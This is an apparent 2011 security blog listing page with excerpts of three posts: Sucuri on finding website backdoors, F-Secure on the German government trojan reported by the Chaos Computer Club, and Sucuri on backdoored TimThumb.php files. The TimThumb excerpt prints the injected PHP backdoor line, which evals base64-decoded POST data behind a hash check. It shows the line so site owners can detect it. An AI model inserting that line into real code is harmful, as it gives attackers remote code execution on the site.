Backdoors | DataProtectionCenter.com

Evil backdoors – Part II

14

Oct

2011

A few months ago we did a post about backdoors, explaining how they work and how to look for them. If you didn’t read it, take a read here:ASK Sucuri: What about the backdoors?However, we still see on online forums people recommending to search for “eval ( base64_decode” and things like that when searching for backdoors. If […]

Category Security Written by Sucuri 0 Comments

Possible Governmental Backdoor found (“case R2D2”)

09

Oct

2011

Chaos Computer Club from Germany has tonight announced that they have located a backdoor trojan used by the German Goverment. The announcment was made public on ccc.de with a detailed 20-page analysis of the functionality of the malware. Download the report in PDF (in German) The malware in question is a Windows backdoor consisting of […]

Category General Written by F-Secure Antivirus Research Weblog 0 Comments

TimThumb.php backdoor

15

Sep

2011

If your site got compromised lately with the TimThumb.php vulnerability, make sure to check that script to see if it was not modified to act as a backdoor as well. We are seeing in many sites the timthumb.php with the following code added to it: if (md5(md5($_POST[‘p’]))===’xxx8ab2ab.. a4ec61072xxx’) die(eval(base64_decode($_POST[‘c’]))); If you are not sure what this […]

Category Security Written by Sucuri 0 Comments

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Evil backdoors – Part II

Possible Governmental Backdoor found (“case R2D2”)

TimThumb.php backdoor

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